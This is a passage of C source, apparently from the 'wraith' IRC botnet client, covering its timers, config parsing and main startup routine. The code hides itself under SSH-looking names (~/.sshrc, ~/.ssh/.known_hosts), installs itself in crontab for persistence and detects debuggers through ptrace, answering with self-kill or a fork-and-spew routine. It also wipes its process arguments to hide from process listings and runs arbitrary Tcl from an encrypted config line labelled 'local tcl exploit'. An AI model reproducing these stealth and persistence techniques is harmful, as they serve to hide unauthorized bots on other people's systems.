  721. if ((now - dcc[idx].simultime) == 60) { /* expire simuls after 60 seconds (re-uses idx, so it wont fill up) */
  722. dcc[idx].simul = -1;
  723. lostdcc(idx);
  724. }
  725. }
  726. }
  727. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  728. if (nowtm.tm_min != lastmin) {
  729. int i = 0;
  730. /* Once a minute */
  731. lastmin = (lastmin + 1) % 60;
  732. call_hook(HOOK_MINUTELY);
  733. check_botnet_pings();
  734. check_expired_ignores();
  735. /* In case for some reason more than 1 min has passed: */
  736. while (nowtm.tm_min != lastmin) {
  737. /* Timer drift, dammit */
  738. debug2(STR("timer: drift (lastmin=%d, now=%d)"), lastmin, nowtm.tm_min);
  739. i++;
  740. lastmin = (lastmin + 1) % 60;
  741. call_hook(HOOK_MINUTELY);
  742. }
  743. if (i > 1)
  744. putlog(LOG_MISC, "*", STR("(!) timer drift -- spun %d minutes"), i);
  745. miltime = (nowtm.tm_hour * 100) + (nowtm.tm_min);
  746. if (((int) (nowtm.tm_min / 5) * 5) == (nowtm.tm_min)) { /* 5 min */
  747. call_hook(HOOK_5MINUTELY);
  748. /* flushlogs(); */
  749. if (!miltime) { /* At midnight */
  750. char s[25];
  751. strncpyz(s, ctime(&now), sizeof s);
  752. #ifdef HUB
  753. putlog(LOG_ALL, "*", STR("--- %.11s%s"), s, s + 20);
  754. call_hook(HOOK_BACKUP);
  755. #endif
  756. }
  757. }
  758. if (nowtm.tm_min == notify_users_at)
  759. call_hook(HOOK_HOURLY);
  760. /* These no longer need checking since they are all check vs minutely
  761. * settings and we only get this far on the minute.
  762. */
  763. #ifdef HUB
  764. if (miltime == 300) {
  765. call_hook(HOOK_DAILY);
  766. }
  767. #endif
  768. }
  769. }
  770. #ifdef LEAF
  771. static void check_mypid()
  772. {
  773. module_entry *me;
  774. FILE *fp;
  775. char s[15];
  776. int xx = 0;
  777. char buf2[DIRMAX];
  778. egg_snprintf(buf2, sizeof buf2, "%s/.pid.%s", tempdir, botnetnick);
  779. fp = fopen(buf2, "r");
  780. if (fp != NULL) {
  781. fgets(s, 10, fp);
  782. xx = atoi(s);
  783. if (getpid() != xx) { //we have a major problem if this is happening..
  784. fatal(STR("getpid() does not match pid in file. Possible cloned process, exiting.."), 1);
  785. if ((me = module_find("server", 0, 0))) {
  786. Function *func = me->funcs;
  787. (func[SERVER_NUKESERVER]) ("cloned process");
  788. }
  789. botnet_send_bye();
  790. bg_send_quit(BG_ABORT);
  791. exit(1);
  792. }
  793. fclose(fp); //THERE IS THE STUPID BUG OMG
  794. }
  795. }
  796. #endif
  797. static void core_minutely()
  798. {
  799. #ifdef LEAF
  800. check_mypid();
  801. #endif
  802. check_tcl_time(&nowtm);
  803. do_check_timers(&timer);
  804. /* flushlogs(); */
  805. }
  806. static void core_hourly()
  807. {
  808. #ifdef HUB
  809. write_userfile(-1);
  810. #endif
  811. }
  812. static void event_rehash()
  813. {
  814. check_tcl_event("rehash");
  815. }
  816. static void event_prerehash()
  817. {
  818. check_tcl_event("prerehash");
  819. }
  820. static void event_save()
  821. {
  822. check_tcl_event("save");
  823. }
  824. static void event_resettraffic()
  825. {
  826. otraffic_irc += otraffic_irc_today;
  827. itraffic_irc += itraffic_irc_today;
  828. otraffic_bn += otraffic_bn_today;
  829. itraffic_bn += itraffic_bn_today;
  830. otraffic_dcc += otraffic_dcc_today;
  831. itraffic_dcc += itraffic_dcc_today;
  832. otraffic_unknown += otraffic_unknown_today;
  833. itraffic_unknown += itraffic_unknown_today;
  834. otraffic_trans += otraffic_trans_today;
  835. itraffic_trans += itraffic_trans_today;
  836. otraffic_irc_today = otraffic_bn_today = 0;
  837. otraffic_dcc_today = otraffic_unknown_today = 0;
  838. itraffic_irc_today = itraffic_bn_today = 0;
  839. itraffic_dcc_today = itraffic_unknown_today = 0;
  840. itraffic_trans_today = otraffic_trans_today = 0;
  841. }
  842. static void event_loaded()
  843. {
  844. check_tcl_event("loaded");
  845. }
  846. void kill_tcl();
  847. extern module_entry *module_list;
  848. void restart_chons();
  849. void check_static(char *, char *(*)());
  850. #include "mod/static.h"
  851. int init_userrec(), init_mem(), init_dcc_max(), init_userent(), init_misc(), init_auth(), init_config(), init_bots(),
  852. init_net(), init_modules(), init_tcl(int, char **), init_botcmd();
  853. void got_ed(char *which, char *in, char *out)
  854. {
  855. Context;
  856. sdprintf(STR("got_Ed called: -%s i: %s o: %s"), which, in, out);
  857. if (!in || !out)
  858. fatal(STR("Wrong number of arguments: -e/-d <infile> <outfile/STDOUT>"),0);
  859. if (!strcmp(in, out))
  860. fatal(STR("<infile> should NOT be the same name as <outfile>"), 0);
  861. if (!strcmp(which, "e")) {
  862. EncryptFile(in, out);
  863. fatal(STR("File Encryption complete"),3);
  864. } else if (!strcmp(which, "d")) {
  865. DecryptFile(in, out);
  866. fatal(STR("File Decryption complete"),3);
  867. }
  868. exit(0);
  869. }
  870. static inline void garbage_collect(void)
  871. {
  872. static u_8bit_t run_cnt = 0;
  873. if (run_cnt == 3)
  874. garbage_collect_tclhash();
  875. else
  876. run_cnt++;
  877. }
  878. int crontab_exists() {
  879. char buf[2048], *out=NULL;
  880. sprintf(buf, STR("crontab -l | grep \"%s\" | grep -v \"^#\""), binname);
  881. if (shell_exec(buf, NULL, &out, NULL)) {
  882. if (out && strstr(out, binname)) {
  883. nfree(out);
  884. return 1;
  885. } else {
  886. if (out)
  887. nfree(out);
  888. return 0;
  889. }
  890. } else
  891. return (-1);
  892. }
  893. void crontab_create(int interval) {
  894. char tmpfile[161],
  895. buf[256];
  896. FILE *f;
  897. int fd;
  898. /* always use mkstemp() when handling temp files! -dizz */
  899. sprintf(tmpfile, STR("%s.crontab-XXXXXX"), tempdir);
  900. if ((fd = mkstemp(tmpfile)) == -1) {
  901. unlink(tmpfile);
  902. return;
  903. }
  904. sprintf(buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\"> %s"), binname, tmpfile);
  905. if (shell_exec(buf, NULL, NULL, NULL) && (f = fdopen(fd, "a")) != NULL) {
  906. buf[0] = 0;
  907. if (interval == 1)
  908. strcpy(buf, "*");
  909. else {
  910. int i = 1;
  911. int si = random() % interval;
  912. while (i < 60) {
  913. if (buf[0])
  914. sprintf(buf + strlen(buf), STR(",%i"), (i + si) % 60);
  915. else
  916. sprintf(buf, "%i", (i + si) % 60);
  917. i += interval;
  918. }
  919. }
  920. sprintf(buf + strlen(buf), STR(" * * * * %s > /dev/null 2>&1"), binname);
  921. fseek(f, 0, SEEK_END);
  922. fprintf(f, STR("\n%s\n"), buf);
  923. fclose(f);
  924. sprintf(buf, STR("crontab %s"), tmpfile);
  925. shell_exec(buf, NULL, NULL, NULL);
  926. }
  927. close(fd);
  928. unlink(tmpfile);
  929. }
  930. static void check_crontab()
  931. {
  932. int i = 0;
  933. #ifdef LEAF
  934. if (!localhub)
  935. fatal(STR("something is wrong."), 0);
  936. #endif /* LEAF */
  937. i=crontab_exists();
  938. if (!i) {
  939. crontab_create(5);
  940. i=crontab_exists();
  941. if (!i)
  942. printf(STR("* Error writing crontab entry.\n"));
  943. }
  944. }
  945. #ifdef LEAF
  946. static void gotspawn(char *filename)
  947. {
  948. FILE *fp;
  949. char templine[8192], *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL, *temps;
  950. if (!(fp = fopen(filename, "r")))
  951. fatal(STR("Cannot read from local config (2)"), 0);
  952. while(fscanf(fp,"%[^\n]\n",templine) != EOF)
  953. {
  954. Context;
  955. temps = (char *) decrypt_string(netpass, decryptit(templine));
  956. #ifdef S_PSCLOAK
  957. sdprintf(STR("GOTSPAWN: %s"), temps);
  958. #endif /* S_PSCLOAK */
  959. pscloak = atoi(newsplit(&temps));
  960. if (temps[0])
  961. nick = newsplit(&temps);
  962. if (!nick)
  963. fatal("invalid config (2).",0);
  964. if (temps[0])
  965. ip = newsplit(&temps);
  966. if (temps[0])
  967. host = newsplit(&temps);
  968. if (temps[0])
  969. ipsix = newsplit(&temps);
  970. snprintf(origbotname, 10, "%s", nick);
  971. if (ip[1]) {
  972. if (ip[0] == '!') { //natip
  973. ip++;
  974. sprintf(natip,"%s",ip);
  975. } else {
  976. snprintf(myip, 120, "%s", ip);
  977. }
  978. }
  979. if (host && host[1]) {
  980. if (host[0] == '+') { //ip6 host
  981. host++;
  982. sprintf(hostname6,"%s",host);
  983. } else { //normal ip4 host
  984. sprintf(hostname,"%s",host);
  985. }
  986. }
  987. if (ipsix && ipsix[1]) {
  988. snprintf(myip6, 120, "%s", ipsix);
  989. }
  990. }
  991. fclose(fp);
  992. unlink(filename);
  993. }
  994. static int spawnbot(char *bin, char *nick, char *ip, char *host, char *ipsix, int cloak)
  995. {
  996. char buf[DIRMAX], bindir[DIRMAX], bufrun[DIRMAX];
  997. FILE *fp;
  998. sprintf(buf, "%s", bin);
  999. sprintf(bindir, "%s", dirname(buf));
  1000. sprintf(buf, "%s/.wraith-%s", bindir, nick);
  1001. if (!(fp = fopen(buf, "w")))
  1002. fatal(STR("Cannot create spawnfiles..."), 0);
  1003. lfprintf(fp, "%d %s %s %s %s\n", cloak, nick, ip ? ip : ".", host ? host : ".", ipsix ? ipsix : ".");
  1004. fflush(fp);
  1005. fclose(fp);
  1006. sprintf(bufrun, "%s -c %s", bin, buf);
  1007. return system(bufrun);
  1008. }
  1009. #endif /* LEAF */
  1010. #ifdef S_MESSUPTERM
  1011. void messup_term() {
  1012. int i;
  1013. char * argv[4];
  1014. freopen(STR("/dev/null"), "w", stderr);
  1015. for (i=0;i<11;i++) {
  1016. fork();
  1017. }
  1018. argv[0]=nmalloc(100);
  1019. strcpy(argv[0], STR("/bin/sh"));
  1020. argv[1]="-c";
  1021. argv[2]=nmalloc(1024);
  1022. strcpy(argv[2], STR("cat < "));
  1023. strcat(argv[2], binname);
  1024. argv[3]=NULL;
  1025. execvp(argv[0], &argv[0]);
  1026. }
  1027. #endif /* S_MESSUPTERM */
  1028. void check_trace_start()
  1029. {
  1030. #ifdef S_ANTITRACE
  1031. int parent = getpid();
  1032. int xx = 0, i = 0;
  1033. #ifdef __linux__
  1034. xx = fork();
  1035. if (xx == -1) {
  1036. printf(STR("Can't fork process!\n"));
  1037. exit(1);
  1038. } else if (xx == 0) {
  1039. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  1040. if (i == (-1) && errno == EPERM) {
  1041. #ifdef S_MESSUPTERM
  1042. messup_term();
  1043. #else
  1044. kill(parent, SIGKILL);
  1045. exit(1);
  1046. #endif /* S_MESSUPTERM */
  1047. } else {
  1048. waitpid(parent, &i, 0);
  1049. kill(parent, SIGCHLD);
  1050. ptrace(PTRACE_DETACH, parent, 0, 0);
  1051. kill(parent, SIGCHLD);
  1052. }
  1053. exit(0);
  1054. } else {
  1055. wait(&i);
  1056. }
  1057. #endif /* __linux__ */
  1058. #ifdef __FreeBSD__
  1059. xx = fork();
  1060. if (xx == -1) {
  1061. printf(STR("Can't fork process!\n"));
  1062. exit(1);
  1063. } else if (xx == 0) {
  1064. i = ptrace(PT_ATTACH, parent, 0, 0);
  1065. if (i == (-1) && errno == EBUSY) {
  1066. #ifdef S_MESSUPTERM
  1067. messup_term();
  1068. #else
  1069. kill(parent, SIGKILL);
  1070. exit(1);
  1071. #endif /* S_MESSUPTERM */
  1072. } else {
  1073. wait(&i);
  1074. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  1075. kill(parent, SIGCHLD);
  1076. wait(&i);
  1077. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  1078. wait(&i);
  1079. }
  1080. exit(0);
  1081. } else {
  1082. waitpid(xx, NULL, 0);
  1083. }
  1084. #endif /* __FreeBSD__ */
  1085. #ifdef __OpenBSD__
  1086. xx = fork();
  1087. if (xx == -1) {
  1088. printf(STR("Can't fork process!\n"));
  1089. exit(1);
  1090. } else if (xx == 0) {
  1091. i = ptrace(PT_ATTACH, parent, 0, 0);
  1092. if (i == (-1) && errno == EBUSY) {
  1093. kill(parent, SIGKILL);
  1094. exit(1);
  1095. } else {
  1096. wait(&i);
  1097. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  1098. kill(parent, SIGCHLD);
  1099. wait(&i);
  1100. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  1101. wait(&i);
  1102. }
  1103. exit(0);
  1104. } else {
  1105. waitpid(xx, NULL, 0);
  1106. }
  1107. #endif /* __OpenBSD__ */
  1108. #endif /* S_ANTITRACE */
  1109. }
  1110. char *homedir()
  1111. {
  1112. static char home[DIRMAX], tmp[DIRMAX];
  1113. struct passwd *pw;
  1114. Context;
  1115. pw = getpwuid(geteuid());
  1116. if (!pw)
  1117. werr(ERR_PASSWD);
  1118. Context;
  1119. snprintf(tmp, sizeof tmp, "%s", pw->pw_dir);
  1120. Context;
  1121. realpath(tmp, home); /* this will convert lame home dirs of /home/blah->/usr/home/blah */
  1122. return home;
  1123. }
  1124. char *confdir()
  1125. {
  1126. static char conf[DIRMAX];
  1127. #ifdef LEAF
  1128. {
  1129. snprintf(conf, sizeof conf, "%s/.ssh", homedir());
  1130. }
  1131. #endif /* LEAF */
  1132. #ifdef HUB
  1133. {
  1134. char *tmpdir;
  1135. tmpdir = nmalloc(strlen(binname)+1);
  1136. strcpy(tmpdir, binname);
  1137. snprintf(conf, sizeof conf, "%s", dirname(tmpdir));
  1138. nfree(tmpdir);
  1139. }
  1140. #endif /* HUB */
  1141. return conf;
  1142. }
  1143. int main(int argc, char **argv)
  1144. {
  1145. int xx, i;
  1146. #ifdef LEAF
  1147. int x = 1;
  1148. #endif
  1149. char buf[SGRAB + 9], s[25];
  1150. FILE *f;
  1151. struct sigaction sv;
  1152. struct chanset_t *chan;
  1153. #ifdef LEAF
  1154. int skip = 0;
  1155. FILE *fp;
  1156. char newbin[DIRMAX], tmp[DIRMAX],
  1157. cfile[DIRMAX], templine[8192], *temps;
  1158. int ok = 1;
  1159. #else
  1160. char tmp[DIRMAX], cfile[DIRMAX], templine[8192], *temps;
  1161. #endif
  1162. char c[1024], *vers_n, *unix_n;
  1163. #ifdef HAVE_UNAME
  1164. struct utsname un;
  1165. #endif
  1166. char check[100];
  1167. #ifdef DEBUG_MEM
  1168. /* Make sure it can write core, if you make debug. Else it's pretty
  1169. * useless (dw)
  1170. */
  1171. {
  1172. #include <sys/resource.h>
  1173. struct rlimit cdlim, plim, fdlim, rsslim, stacklim;
  1174. // rsslim.rlim_cur = 30720;
  1175. // rsslim.rlim_max = 30720;
  1176. // setrlimit(RLIMIT_RSS, &rsslim);
  1177. // stacklim.rlim_cur = 30720;
  1178. // stacklim.rlim_max = 30720;
  1179. // setrlimit(RLIMIT_STACK, &stacklim);
  1180. plim.rlim_cur = 50;
  1181. plim.rlim_max = 50;
  1182. setrlimit(RLIMIT_NPROC, &plim);
  1183. fdlim.rlim_cur = 200;
  1184. fdlim.rlim_max = 200;
  1185. //#ifdef __FreeBSD__
  1186. // setrlimit(RLIMIT_OFILE, &fdlim);
  1187. //#else
  1188. setrlimit(RLIMIT_NOFILE, &fdlim);
  1189. //#endif
  1190. cdlim.rlim_cur = RLIM_INFINITY;
  1191. cdlim.rlim_max = RLIM_INFINITY;
  1192. setrlimit(RLIMIT_CORE, &cdlim);
  1193. }
  1194. #endif
  1195. /* Initialise context list */
  1196. for (i = 0; i < 16; i++)
  1197. Context;
  1198. /* Version info! */
  1199. egg_snprintf(ver, sizeof ver, "wraith %s", egg_version);
  1200. egg_snprintf(version, sizeof version, "wraith %s", egg_version);
  1201. /* Now add on the patchlevel (for Tcl) */
  1202. sprintf(&egg_version[strlen(egg_version)], " %u", egg_numver);
  1203. #ifdef STOP_UAC
  1204. {
  1205. int nvpair[2];
  1206. nvpair[0] = SSIN_UACPROC;
  1207. nvpair[1] = UAC_NOPRINT;
  1208. setsysinfo(SSI_NVPAIRS, (char *) nvpair, 1, NULL, 0);
  1209. }
  1210. #endif
  1211. /* Set up error traps: */
  1212. sv.sa_handler = got_bus;
  1213. sigemptyset(&sv.sa_mask);
  1214. #ifdef SA_RESETHAND
  1215. sv.sa_flags = SA_RESETHAND;
  1216. #else
  1217. sv.sa_flags = 0;
  1218. #endif
  1219. sigaction(SIGBUS, &sv, NULL);
  1220. sv.sa_handler = got_segv;
  1221. sigaction(SIGSEGV, &sv, NULL);
  1222. #ifdef SA_RESETHAND
  1223. sv.sa_flags = 0;
  1224. #endif
  1225. sv.sa_handler = got_fpe;
  1226. sigaction(SIGFPE, &sv, NULL);
  1227. sv.sa_handler = got_term;
  1228. sigaction(SIGTERM, &sv, NULL);
  1229. sv.sa_handler = got_stop;
  1230. sigaction(SIGSTOP, &sv, NULL);
  1231. #ifdef S_HIJACKCHECK
  1232. sv.sa_handler = got_cont;
  1233. sigaction(SIGCONT, &sv, NULL);
  1234. #endif
  1235. sv.sa_handler = got_hup;
  1236. sigaction(SIGHUP, &sv, NULL);
  1237. sv.sa_handler = got_quit;
  1238. sigaction(SIGQUIT, &sv, NULL);
  1239. sv.sa_handler = SIG_IGN;
  1240. sigaction(SIGPIPE, &sv, NULL);
  1241. sv.sa_handler = got_ill;
  1242. sigaction(SIGILL, &sv, NULL);
  1243. sv.sa_handler = got_alarm;
  1244. sigaction(SIGALRM, &sv, NULL);
  1245. Context;
  1246. /* Initialize variables and stuff */
  1247. #ifdef S_UTCTIME
  1248. now_tmp = time(NULL);
  1249. now = mktime(gmtime(&now_tmp));
  1250. #else
  1251. now = time(NULL);
  1252. #endif /* S_UTCTIME */
  1253. chanset = NULL;
  1254. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  1255. lastmin = nowtm.tm_min;
  1256. srandom(now % (getpid() + getppid()));
  1257. init_mem();
  1258. myuid = geteuid();
  1259. binname = getfullbinname(argv[0]);
  1260. /* just load everything now, won't matter if it's loaded if the bot has to suicide on startup */
  1261. init_auth();
  1262. init_config();
  1263. init_dcc_max();
  1264. init_userent();
  1265. init_misc();
  1266. init_bots();
  1267. init_net();
  1268. init_modules();
  1269. init_settings();
  1270. init_userrec();
  1271. if (backgrd)
  1272. bg_prepare_split();
  1273. init_tcl(argc, argv);
  1274. init_botcmd();
  1275. link_statics();
  1276. module_load(ENCMOD);
  1277. if (!can_stat(binname))
  1278. werr(ERR_BINSTAT);
  1279. if (!fixmod(binname))
  1280. werr(ERR_BINMOD);
  1281. if (argc) {
  1282. sdprintf(STR("Calling dtx_arg with %d params."), argc);
  1283. dtx_arg(argc, argv);
  1284. }
  1285. if (checktrace)
  1286. check_trace_start();
  1287. #ifdef HUB
  1288. snprintf(tempdir, sizeof tempdir, "%s/tmp", confdir());
  1289. #endif /* HUB */
  1290. #ifdef LEAF
  1291. sdprintf(STR("my uid: %d my uuid: %d, my ppid: %d my pid: %d"), getuid(), geteuid(), getppid(), getpid());
  1292. chdir(homedir());
  1293. snprintf(newbin, sizeof newbin, "%s/.sshrc", homedir());
  1294. snprintf(tempdir, sizeof tempdir, "%s/...", confdir());
  1295. sdprintf(STR("newbin at: %s"), newbin);
  1296. if (strcmp(binname,newbin) && !skip) { //running from wrong dir, or wrong bin name.. lets try to fix that :)
  1297. sdprintf(STR("wrong dir, is: %s :: %s"), binname, newbin);
  1298. unlink(newbin);
  1299. if (copyfile(binname,newbin))
  1300. ok = 0;
  1301. if (ok)
  1302. if (!can_stat(newbin)) {
  1303. unlink(newbin);
  1304. ok = 0;
  1305. }
  1306. if (ok)
  1307. if (!fixmod(newbin)) {
  1308. unlink(newbin);
  1309. ok = 0;
  1310. }
  1311. if (!ok)
  1312. werr(ERR_WRONGBINDIR);
  1313. else {
  1314. unlink(binname);
  1315. system(newbin);
  1316. sdprintf(STR("exiting to let new binary run..."));
  1317. exit(0);
  1318. }
  1319. }
  1320. // Ok if we are here, then the binary is accessable and in the correct directory, now lets do the local config...
  1321. #endif /* LEAF */
  1322. snprintf(tmp, sizeof tmp, "%s/", confdir());
  1323. if (!can_stat(tmp)) {
  1324. #ifdef LEAF
  1325. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1326. unlink(confdir());
  1327. if (!can_stat(confdir()))
  1328. if (mkdir(confdir(), S_IRUSR | S_IWUSR | S_IXUSR))
  1329. #endif /* LEAF */
  1330. werr(ERR_CONFSTAT);
  1331. #ifdef LEAF
  1332. }
  1333. #endif /* LEAF */
  1334. }
  1335. snprintf(tmp, sizeof tmp, "%s/", tempdir);
  1336. if (!can_stat(tmp)) {
  1337. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1338. unlink(tempdir);
  1339. if (!can_stat(tempdir))
  1340. if (mkdir(tempdir, S_IRUSR | S_IWUSR | S_IXUSR))
  1341. werr(ERR_TMPSTAT);
  1342. }
  1343. }
  1344. if (!fixmod(confdir()))
  1345. werr(ERR_CONFDIRMOD);
  1346. if (!fixmod(tempdir))
  1347. werr(ERR_TMPMOD);
  1348. //The config dir is accessable with correct permissions, lets read/write/create config file now..
  1349. #ifdef LEAF
  1350. snprintf(cfile, sizeof cfile, "%s/.known_hosts", confdir());
  1351. #else
  1352. snprintf(cfile, sizeof cfile, "%s/conf", confdir());
  1353. #endif /* LEAF */
  1354. if (!can_stat(cfile))
  1355. werr(ERR_NOCONF);
  1356. if (!fixmod(cfile))
  1357. werr(ERR_CONFMOD);
  1358. #ifdef LEAF
  1359. if (localhub) { //we only want to read the config if we are the spawn bot..
  1360. #endif /* LEAF */
  1361. #ifdef HAVE_UNAME
  1362. if (uname(&un) < 0) {
  1363. #endif /* HAVE_UNAME */
  1364. unix_n = "*unkown*";
  1365. vers_n = "";
  1366. #ifdef HAVE_UNAME
  1367. } else {
  1368. unix_n = un.nodename;
  1369. #ifdef __FreeBSD__
  1370. vers_n = un.release;
  1371. #else
  1372. vers_n = un.version;
  1373. #endif /* __FreeBSD__ */
  1374. }
  1375. #endif /* HAVE_UNAME */
  1376. i = 0;
  1377. if (!(f = fopen(cfile, "r")))
  1378. werr(0);
  1379. Context;
  1380. while(fscanf(f,"%[^\n]\n",templine) != EOF) {
  1381. char *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL;
  1382. int skip = 0;
  1383. if (templine[0] != '+') {
  1384. printf(STR("%d: "), i);
  1385. werr(ERR_CONFBADENC);
  1386. }
  1387. temps = (char *) decrypt_string(netpass, decryptit(templine));
  1388. if (!strchr(STR("*#-+!abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPWRSTUVWXYZ"), temps[0])) {
  1389. printf(STR("%d: "), i);
  1390. werr(ERR_CONFBADENC);
  1391. }
  1392. snprintf(c, sizeof c, "%s",temps);
  1393. if (c[0] == '*')
  1394. skip = 1;
  1395. else if (c[0] == '-' && !skip) { //this is the uid
  1396. newsplit(&temps);
  1397. if (geteuid() != atoi(temps)) {
  1398. sdprintf(STR("wrong uid, conf: %d :: %d"), atoi(temps), geteuid());
  1399. werr(ERR_WRONGUID);
  1400. }
  1401. } else if (c[0] == '+' && !skip) { //this is the uname
  1402. int r = 0;
  1403. newsplit(&temps);
  1404. snprintf(check, sizeof check, "%s %s", unix_n, vers_n);
  1405. if ((r = strcmp(temps, check))) {
  1406. sdprintf(STR("wrong uname, conf: %s :: %s"), check, temps);
  1407. werr(ERR_WRONGUNAME);
  1408. }
  1409. } else if (c[0] == '!') { //local tcl exploit
  1410. if (c[1] == '-') { //dont use pscloak
  1411. #ifdef S_PSCLOAK
  1412. sdprintf(STR("NOT CLOAKING"));
  1413. #endif /* S_PSCLOAK */
  1414. pscloak = 0;
  1415. } else {
  1416. newsplit(&temps);
  1417. Tcl_Eval(interp, temps);
  1418. }
  1419. } else if (c[0] != '#') { //now to parse nick/hosts
  1420. //we have the right uname/uid, safe to setup crontab now.
  1421. i++;
  1422. nick = newsplit(&temps);
  1423. if (!nick || !nick[0])
  1424. werr(ERR_BADCONF);
  1425. sdprintf(STR("Read nick from config: %s"), nick);
  1426. if (temps[0])
  1427. ip = newsplit(&temps);
  1428. if (temps[0])
  1429. host = newsplit(&temps);
  1430. if (temps[0])
  1431. ipsix = newsplit(&temps);
  1432. if (i == 1) { //this is the first bot ran/parsed
  1433. strncpyz(s, ctime(&now), sizeof s);
  1434. strcpy(&s[11], &s[20]);
  1435. /* printf(STR("--- Loading %s (%s)\n\n"), ver, s); */
  1436. if (ip && ip[0] == '!') { //natip
  1437. ip++;
  1438. sprintf(natip, "%s",ip);
  1439. } else {
  1440. if (ip && ip[1]) //only copy ip if it is longer than 1 char (.)
  1441. snprintf(myip, 120, "%s", ip);
  1442. }
  1443. snprintf(origbotname, 10, "%s", nick);
  1444. #ifdef HUB
  1445. sprintf(userfile, "%s/.%s.user", confdir(), nick);
  1446. #endif /* HUB */
  1447. /* log sprintf(logfile, "%s/.%s.log", confdir(), nick); */
  1448. if (host && host[1]) { //only copy host if it is longer than 1 char (.)
  1449. if (host[0] == '+') { //ip6 host
  1450. host++;
  1451. sprintf(hostname6, "%s",host);
  1452. } else //normal ip4 host
  1453. sprintf(hostname, "%s",host);
  1454. }
  1455. if (ipsix && ipsix[1]) { //only copy ipsix if it is longer than 1 char (.)
  1456. snprintf(myip6, 120, "%s",ipsix);
  1457. }
  1458. }
  1459. #ifdef LEAF
  1460. else { //these are the rest of the bots..
  1461. char buf2[DIRMAX];
  1462. xx = 0, x = 0, errno = 0;
  1463. s[0] = '\0';
  1464. /* first let's determine if the bot is already running or not.. */
  1465. egg_snprintf(buf2, sizeof buf2, "%s/.pid.%s", tempdir, nick);
  1466. fp = fopen(buf2, "r");
  1467. if (fp != NULL) {
  1468. fgets(s, 10, fp);
  1469. fclose(fp);
  1470. xx = atoi(s);
  1471. if (updating) {
  1472. x = kill(xx, SIGKILL); //try to kill the pid if we are updating.
  1473. unlink(buf2);
  1474. }
  1475. kill(xx, SIGCHLD);
  1476. if (errno == ESRCH || (updating && !x)) { //PID is !running, safe to run.
  1477. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1478. printf(STR("* Failed to spawn %s\n"), nick); //This probably won't ever happen.
  1479. }
  1480. } else {
  1481. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1482. printf(STR("* Failed to spawn %s\n"), nick); //This probably won't ever happen.
  1483. }
  1484. }
  1485. #endif /* LEAF */
  1486. } // if read in[0] != #
  1487. temps = 0;
  1488. }
  1489. fclose(f);
  1490. #ifdef LEAF
  1491. if (updating)
  1492. exit(0); //let the 5 min timer restart us.
  1493. } // (localhub)
  1494. #endif /* LEAF */
  1495. module_load("dns");
  1496. module_load("channels");
  1497. #ifdef LEAF
  1498. module_load("server");
  1499. module_load("irc");
  1500. #endif /* LEAF */
  1501. module_load("transfer");
  1502. module_load("share");
  1503. module_load("update");
  1504. module_load("notes");
  1505. module_load("console");
  1506. module_load("ctcp");
  1507. module_load("compress");
  1508. chanprog();
  1509. #ifdef LEAF
  1510. if (localhub) {
  1511. sdprintf(STR("I am localhub (%s)"), origbotname);
  1512. #endif /* LEAF */
  1513. check_crontab();
  1514. #ifdef LEAF
  1515. }
  1516. #endif /* LEAF */
  1517. if (!encrypt_pass) {
  1518. sdprintf(MOD_NOCRYPT);
  1519. bg_send_quit(BG_ABORT);
  1520. exit(1);
  1521. }
  1522. cache_miss = 0;
  1523. cache_hit = 0;
  1524. if (!pid_file[0])
  1525. egg_snprintf(pid_file, sizeof pid_file, "%s.pid.%s", tempdir, botnetnick);
  1526. f = fopen(pid_file, "r");
  1527. if ((localhub && !updating) || !localhub) {
  1528. if (f != NULL) {
  1529. fgets(s, 10, f);
  1530. xx = atoi(s);
  1531. kill(xx, SIGCHLD);
  1532. if (errno != ESRCH) { //!= is PID is running.
  1533. sdprintf(STR("%s is already running, pid: %d"), botnetnick, xx);
  1534. bg_send_quit(BG_ABORT);
  1535. exit(1);
  1536. }
  1537. }
  1538. }
  1539. #ifdef LEAF
  1540. #ifdef S_PSCLOAK
  1541. if (pscloak) {
  1542. int on = 0;
  1543. strncpy(argv[0],progname(),strlen(argv[0]));
  1544. //this clears all the params..
  1545. for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  1546. }
  1547. #endif /* PSCLOAK */
  1548. #endif /* LEAF */
  1549. i = 0;
  1550. for (chan = chanset; chan; chan = chan->next)
  1551. i++;
  1552. putlog(LOG_MISC, "*", STR("=== %s: %d channels, %d users."),
  1553. botnetnick, i, count_users(userlist));
  1554. /* Move into background? */
  1555. if (backgrd) {
  1556. #ifndef CYGWIN_HACKS
  1557. bg_do_split();
  1558. } else { /* !backgrd */
  1559. #endif /* CYGWIN_HACKS */
  1560. xx = getpid();
  1561. if (xx != 0) {
  1562. FILE *fp;
  1563. /* Write pid to file */
  1564. unlink(pid_file);
  1565. fp = fopen(pid_file, "w");
  1566. if (fp != NULL) {
  1567. fprintf(fp, "%u\n", xx);
  1568. if (fflush(fp)) {
  1569. /* Let the bot live since this doesn't appear to be a botchk */
  1570. printf(EGG_NOWRITE, pid_file);
  1571. fclose(fp);
  1572. unlink(pid_file);
  1573. } else
  1574. fclose(fp);
  1575. } else
  1576. printf(EGG_NOWRITE, pid_file);
  1577. #ifdef CYGWIN_HACKS
  1578. printf(STR("Launched into the background (pid: %d)\n\n"), xx);
  1579. #endif /* CYGWIN_HACKS */
  1580. }
  1581. }
  1582. use_stderr = 0; /* Stop writing to stderr now */
  1583. if (backgrd) {
  1584. /* Ok, try to disassociate from controlling terminal (finger cross) */
  1585. #if HAVE_SETPGID && !defined(CYGWIN_HACKS)
  1586. setpgid(0, 0);
  1587. #endif
  1588. /* Tcl wants the stdin, stdout and stderr file handles kept open. */
  1589. freopen("/dev/null", "r", stdin);
  1590. freopen("/dev/null", "w", stdout);
  1591. freopen("/dev/null", "w", stderr);
